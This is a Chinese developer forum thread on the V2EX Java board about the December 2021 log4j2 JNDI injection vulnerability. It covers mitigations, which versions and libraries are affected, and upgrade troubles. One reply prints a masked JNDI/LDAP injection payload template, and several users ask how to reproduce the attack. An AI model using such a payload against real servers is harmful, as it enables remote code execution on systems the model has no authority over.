V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
eviladan0s
V2EX  ›  Java

颤抖吧 Javaer, log4j 史诗级漏洞

  •  4
     
  •   eviladan0s · 2021-12-10 09:16:39 +08:00 · 33668 次点击
    这是一个创建于 839 天前的主题,其中的信息可能已经有所发展或是发生改变。

    漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q

    本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg

    百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png

    修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。

    之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发

    第 1 条附言  ·  2021-12-10 10:28:42 +08:00
    最新消息: https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5A

    Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本
    第 2 条附言  ·  2021-12-10 13:34:24 +08:00
    再补充一点: 漏洞存在于 log4j2 ,目前发的很多都仅仅是个验证,不代表能造成实际危害如远程命令执行等,因为高版本 JDK 默认有限制措施。
    请不必恐慌,如果有受影响的应用,建议咨询专业的网络安全公司,获取修复建议。
    189 条回复    2021-12-13 16:50:16 +08:00
    1  2  
    pigspy
        1
    pigspy  
       2021-12-10 09:19:07 +08:00
    还是转向 logback 吧
    eviladan0s
        2
    eviladan0s  
    OP
       2021-12-10 09:19:10 +08:00
    这个漏洞本不应该被直接公布的,但利用过于简单,昨晚成了脚本小子的狂欢
    midasfree
        3
    midasfree  
       2021-12-10 09:21:58 +08:00
    这周值班一大早被呼起来屏蔽这个问题 绝了(╯°□°)╯︵ ┻━┻
    Philosophy6
        4
    Philosophy6  
       2021-12-10 09:28:22 +08:00   ❤️ 2
    全线服务全都是 log4j2 ,GG
    hanssx
        5
    hanssx  
       2021-12-10 09:38:51 +08:00
    这危害也太大了,老哥有原文吗?求分享
    buliugu
        6
    buliugu  
       2021-12-10 09:41:05 +08:00
    还好用的 logback
    sagaxu
        7
    sagaxu  
       2021-12-10 09:42:21 +08:00 via Android
    昨天美团崩溃也是因为这个?
    Archeb
        8
    Archeb  
       2021-12-10 09:43:17 +08:00
    别慌,只有低版本能盲打,高版本没那么好利用。看着吓人也只是 dnslog 而已
    conhost
        9
    conhost  
       2021-12-10 09:44:05 +08:00   ❤️ 1
    @pigspy logback 依赖 log4j 哦
    eviladan0s
        10
    eviladan0s  
    OP
       2021-12-10 09:44:30 +08:00 via iPhone
    还有,许多知名组件也用到了 log4j ,如 Apache Struts2 ,Apache Solr ,Apache Flink ,Apache Druid 等等
    iold
        11
    iold  
       2021-12-10 09:46:06 +08:00
    看了一下公司的屎山。还好只有官网是 Java ,log4j 还是远古版本,不知道升上来会带来哪些副作用...
    eviladan0s
        12
    eviladan0s  
    OP
       2021-12-10 09:47:10 +08:00 via iPhone
    @Archeb 是的,高版本 jdk 默认禁用了远程加载,需要寻找本地 Gadget
    sagaxu
        13
    sagaxu  
       2021-12-10 09:47:19 +08:00 via Android
    只有写在 format string 里才能触发,作为参数传入则不会。而我们一般不会直接把日志内容写到 format string 中,所以不必慌。
    cedoo22
        14
    cedoo22  
       2021-12-10 09:47:24 +08:00
    还在用 log4j 1
    iold
        15
    iold  
       2021-12-10 09:48:48 +08:00   ❤️ 2
    仔细看了一下,屎山用的远古版本不受影响,美滋滋。
    zhouyou457
        16
    zhouyou457  
       2021-12-10 09:52:00 +08:00
    绝望的打出 GG
    qq1340691923
        17
    qq1340691923  
       2021-12-10 09:54:45 +08:00
    之前服务器上是 java 程序在跑,腾讯云每隔一段时间就告警我们 jar 包有安全风险,需要升级,不然就停止服务,折腾几次后,我们换了 golang ,后面就没这个烦恼了
    gadfly3173
        18
    gadfly3173  
       2021-12-10 09:57:01 +08:00
    @qq1340691923 #17 艹 这不只是让腾讯云没法检测而已嘛。。。
    itechnology
        19
    itechnology  
       2021-12-10 09:58:06 +08:00
    还好用的 spring boot 自带的 logback
    gadfly3173
        20
    gadfly3173  
       2021-12-10 09:59:36 +08:00
    @itechnology #19 spring boot 自带 log4j 版本是 2.14.1
    cheng6563
        21
    cheng6563  
       2021-12-10 09:59:44 +08:00
    看了下公司项目,屎山都是 log4j1 ,新一点的都是 slf4j 了,没用到 log4j2
    zmxnv123
        22
    zmxnv123  
       2021-12-10 10:01:31 +08:00
    比较奇怪,为什么搜不到英语报道
    pkoukk
        23
    pkoukk  
       2021-12-10 10:02:03 +08:00
    @midasfree 一大早不错了,昨天晚上一点多被安全叫醒处理...
    Jwyt
        24
    Jwyt  
       2021-12-10 10:02:31 +08:00
    @cheng6563 slf4j 只是上层接口阿,得看实现层是什么吧
    aababc
        25
    aababc  
       2021-12-10 10:02:54 +08:00   ❤️ 1
    @qq1340691923 这个只是把问题掩盖了,并不是说 go 的程序就一定安全呀!
    tabris17
        26
    tabris17  
       2021-12-10 10:07:40 +08:00
    用老版本反而躲过一劫
    dko
        27
    dko  
       2021-12-10 10:07:41 +08:00
    @Archeb 不要迷之自信,低估了这个漏洞的危害。
    Archeb
        28
    Archeb  
       2021-12-10 10:09:26 +08:00
    @dko 修肯定得修
    jwh199588
        29
    jwh199588  
       2021-12-10 10:09:43 +08:00
    有人复现了吗
    KevinBlandy
        30
    KevinBlandy  
       2021-12-10 10:10:08 +08:00
    幸好是内网应用,根本不慌。
    bipy
        31
    bipy  
       2021-12-10 10:10:45 +08:00
    哈人
    supuwoerc
        32
    supuwoerc  
       2021-12-10 10:13:22 +08:00
    ![]( https://i.bmp.ovh/imgs/2021/12/83a7153fca6d2f61.png)

    早上看见群里在问,好快啊,不过这老项目是 1.x 的,躲过一劫
    porr
        33
    porr  
       2021-12-10 10:17:36 +08:00
    @supuwoerc 1.x 问题更多吧。。
    JDog
        34
    JDog  
       2021-12-10 10:20:31 +08:00
    @cheng6563 看到这条回复给我整乐了~
    wanguorui123
        35
    wanguorui123  
       2021-12-10 10:25:45 +08:00
    ${jndi:ldap://xxxxx.xxxx.xxxx/xxxxxx}
    lindas
        36
    lindas  
       2021-12-10 10:25:52 +08:00
    项目用的 elasticsearch 里面的 log4j 版本刚好在范围内,好在是内网
    kernelpanic
        37
    kernelpanic  
       2021-12-10 10:27:17 +08:00
    哈哈哈哈哈苹果到现在还没修复
    aguesuka
        38
    aguesuka  
       2021-12-10 10:33:03 +08:00
    太离谱了, 这是一个日志框架不该出现的 bug. 也许正确的应对方法不是升级或是改什么配置, 而是不要使用 log4j2 和这个作者开发的其他框架.
    pigspy
        39
    pigspy  
       2021-12-10 10:35:11 +08:00
    @conhost
    是我记岔了? logback 依赖了 log4j ?
    Crystal8899
        40
    Crystal8899  
       2021-12-10 10:36:00 +08:00   ❤️ 1
    @aguesuka “这个作者”??
    jsjjdzg
        41
    jsjjdzg  
       2021-12-10 10:36:14 +08:00
    logback 依赖不是 slf4j 嘛?还是 slf4j 底层是用 log4j 实现的?
    legendORld
        42
    legendORld  
       2021-12-10 10:37:12 +08:00
    已经把文章发到群里面了,让公司大佬们处理吧
    fpure
        43
    fpure  
       2021-12-10 10:44:50 +08:00
    @pigspy 他可能说的是桥接器
    youxiachai
        44
    youxiachai  
       2021-12-10 10:44:50 +08:00
    按道理... 这个默认不是关的吗...
    kernelpanic
        45
    kernelpanic  
       2021-12-10 10:46:45 +08:00
    linkedin 也没修复
    zxCoder
        46
    zxCoder  
       2021-12-10 10:52:07 +08:00
    写个日志都不安全,牛逼啊
    johnj
        47
    johnj  
       2021-12-10 10:53:05 +08:00
    @conhost logback 和 log4j 是独立的
    Jwyt
        48
    Jwyt  
       2021-12-10 10:57:31 +08:00
    @conhost 这怎么可能,那 logback 作者离开 log4j 干嘛?
    ohwind
        49
    ohwind  
       2021-12-10 10:58:30 +08:00   ❤️ 3
    @aguesuka 阿里的 fastjson 也有过高危漏洞,建议别用阿里的任何东西。
    二极管思维能不能消停点
    Jwyt
        50
    Jwyt  
       2021-12-10 10:59:07 +08:00
    @jsjjdzg slf4j 只是上层接口,没有具体实现阿,怎么会有用 log4j 实现这一说
    encounter2017
        51
    encounter2017  
       2021-12-10 10:59:41 +08:00
    @conhost https://mvnrepository.com/artifact/ch.qos.logback/logback-classic/1.2.7
    不是吧,测试有依赖的 log4j1 ,编译没有依赖
    leiuu
        52
    leiuu  
       2021-12-10 11:01:44 +08:00
    颤抖吧...
    pkoukk
        54
    pkoukk  
       2021-12-10 11:04:07 +08:00
    @aguesuka
    logstash 也有引用,elk 不打算用了?
    ixx
        55
    ixx  
       2021-12-10 11:09:51 +08:00
    @sagaxu #13 确认了一下 参数传入也会触发
    chawuchiren
        56
    chawuchiren  
       2021-12-10 11:12:03 +08:00
    怎么升级呢,最新的 log4j 2.15.0 ,有一个包需要 jdk9 。 我们还在用 jdk8
    aguesuka
        57
    aguesuka  
       2021-12-10 11:15:07 +08:00
    @pkoukk 像大家一起不用 Struts 一样不用它
    Jwyt
        58
    Jwyt  
       2021-12-10 11:17:00 +08:00
    @chawuchiren 顺便把 jdk 也升了(
    kappa
        59
    kappa  
       2021-12-10 11:17:38 +08:00
    Nich0la5
        60
    Nich0la5  
       2021-12-10 11:18:20 +08:00
    笑死 我们手忙脚乱查了一遍得出结论,log4j 版本太低,没这个漏洞
    kernelpanic
        61
    kernelpanic  
       2021-12-10 11:22:25 +08:00
    苹果还没修复, 不知道服务器上弹出多少个计算器了
    uSy62nMkdH
        62
    uSy62nMkdH  
       2021-12-10 11:29:27 +08:00
    小团体的群里,大厂的小伙伴是连夜修复,我们公司白天没人提,发到群里了没激起一点水花~
    James369
        63
    James369  
       2021-12-10 11:43:01 +08:00
    什么叫稳,版本越老反而越稳,哈哈
    aguesuka
        64
    aguesuka  
       2021-12-10 11:43:36 +08:00   ❤️ 1
    @ohwind I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again.
    The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.

    这不是我一个人的 idea
    ipuhua
        65
    ipuhua  
       2021-12-10 11:50:34 +08:00
    Windows 漏洞有多少?大家都不要用微软了, 颤抖吧
    Seayon
        66
    Seayon  
       2021-12-10 11:51:09 +08:00
    怎么才能学习复现一下 有没有指点一下路子的
    soulzz
        67
    soulzz  
       2021-12-10 11:57:44 +08:00
    log4j2.formatMsgNoLookups=true
    pkoukk
        68
    pkoukk  
       2021-12-10 12:00:37 +08:00   ❤️ 4
    @ipuhua windows 的漏洞起码不是在输入框写个${} 就能触发的
    feelinglucky
        69
    feelinglucky  
       2021-12-10 12:02:06 +08:00
    @buliugu 我记得 logback 默认依赖 log4j 的吧,虽然可以换引擎
    pofycn
        70
    pofycn  
       2021-12-10 12:02:25 +08:00 via Android
    现在上线了 RC2 可以暂时修复 但是可能还会被绕过
    Mithril
        71
    Mithril  
       2021-12-10 12:04:32 +08:00
    @James369
    @tabris17
    @iold
    老版的好像也有问题,躲不过加班的。。。
    NULL2020
        72
    NULL2020  
       2021-12-10 12:08:46 +08:00
    log4j github 仓库下载下来解压怎么是源码啊,还得自己编译打包成 jar ?
    Bromine0x23
        73
    Bromine0x23  
       2021-12-10 12:18:53 +08:00   ❤️ 1
    纯云
    logback 只是测试依赖用有到 log4j ,应该不受影响。
    spring-boot-starter-logging 通过 log4j-to-slf4j 间接引入了 log4j-api ,只是接口层,应该也不受影响。
    Jwyt
        74
    Jwyt  
       2021-12-10 12:20:50 +08:00
    @feelinglucky 。。。你记错了吧
    podel
        75
    podel  
       2021-12-10 12:24:26 +08:00
    终于知道苹果的登录为什么这么慢了。
    因为每一次登录请求,都会在美国的服务器上跑程序。
    gadfly3173
        76
    gadfly3173  
       2021-12-10 12:28:28 +08:00
    @NULL2020 #72 是的 因为还没正式发布
    pengtdyd
        77
    pengtdyd  
       2021-12-10 12:30:41 +08:00
    fastjson 确实挺好用的,我个人觉的源码写的很乱,动不动就爆漏洞,阿里的东西真的要慎用!
    Lemeng
        78
    Lemeng  
       2021-12-10 12:37:05 +08:00
    生活不能太平静,网络也一样,哈哈
    cholerae
        79
    cholerae  
       2021-12-10 12:46:28 +08:00
    java 怎么总能搞出点新花样。fastjson 一个序列化库能搞出来 rce ,log4j2 一个日志库也能搞出来 rce
    masterclock
        80
    masterclock  
       2021-12-10 12:54:13 +08:00
    感觉 JAVA 因其强大,它的库总是倾向于做得多,内部搞点魔法,用起来方便;然后代码多了就容易出问题。
    littlewing
        81
    littlewing  
       2021-12-10 13:00:39 +08:00
    @aguesuka intel 的 CPU 也有漏洞,建议也别用了
    aguesuka
        82
    aguesuka  
       2021-12-10 13:04:11 +08:00
    @littlewing 滑坡谬误, 看 64 楼
    iold
        83
    iold  
       2021-12-10 13:08:03 +08:00
    @Mithril #71 是的,后续已经确认 1.x 也受影响,而且 1.x 已经结束生命周期了。哎,非 Java boy, 难受啊,这么大的跨度,肯定不是升级个依赖就能解决的。
    justs0o
        84
    justs0o  
       2021-12-10 13:10:24 +08:00   ❤️ 1
    rc2 也影响
    MoYi123
        85
    MoYi123  
       2021-12-10 13:12:26 +08:00
    @littlewing 虽然 log4j 性能很好,水平很高, 但是就单单打个日志的功能我觉得以大多数人的水平都能做个勉强能用的出来, ,至于上面的 windows 和 CPU,我反正是做不了.
    pengtdyd
        86
    pengtdyd  
       2021-12-10 13:14:20 +08:00
    颤抖个啥,这不是又有收维护费的理由了嘛
    justs0o
        87
    justs0o  
       2021-12-10 13:15:05 +08:00
    CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability
    ZeroDu
        88
    ZeroDu  
       2021-12-10 13:22:17 +08:00
    上面看你们一顿乱说,也没人贴怎么复现啊
    EPr2hh6LADQWqRVH
        89
    EPr2hh6LADQWqRVH  
       2021-12-10 13:25:54 +08:00   ❤️ 1
    服务器设置 cron job 每 30 秒运行 killall java , 防微杜渐。
    manami
        90
    manami  
       2021-12-10 13:31:17 +08:00
    内网应用不慌
    salmon5
        91
    salmon5  
       2021-12-10 13:35:57 +08:00
    @avastms #89 拔网线,完美解决
    joshuacavell
        92
    joshuacavell  
       2021-12-10 13:51:23 +08:00
    RainyH2O
        93
    RainyH2O  
       2021-12-10 13:51:36 +08:00   ❤️ 3
    泥潭也有那么多人分不清日志接口框架和日志实现框架的区别么?
    aaa5838769
        94
    aaa5838769  
       2021-12-10 14:02:03 +08:00
    logging-log4j2-log4j-2.15.0-rc2.tar.gz
    你们是如何编译成功的,用的这个./mvnw clean package -DskipTest 命令,提示 [Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project log4j-api-java9]
    jdk 版本是 17
    NULL2020
        95
    NULL2020  
       2021-12-10 14:04:29 +08:00
    @gadfly3173 #76 特么的,自己还得装个 JDK9 吗?


    @aaa5838769 #94 同样的问题
    jwh199588
        96
    jwh199588  
       2021-12-10 14:06:03 +08:00
    @Seayon 已经完美复现
    sshang
        97
    sshang  
       2021-12-10 14:18:25 +08:00
    @jwh199588 怎么复现的,传入的参数写什么
    wangdashuai
        98
    wangdashuai  
       2021-12-10 14:19:28 +08:00
    我把 java9 相关的全部删了
    tqyq88
        99
    tqyq88  
       2021-12-10 14:21:43 +08:00
    System.out.println 保平安
    ohwind
        100
    ohwind  
       2021-12-10 14:30:25 +08:00
    @aguesuka 你不用库没问题,你可以去找一个完美无瑕的库去用,请问你如何得出的不用”作者开发的其他框架“这个结论?
    1  2  
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1009 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 22:02 · PVG 06:02 · LAX 15:02 · JFK 18:02
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.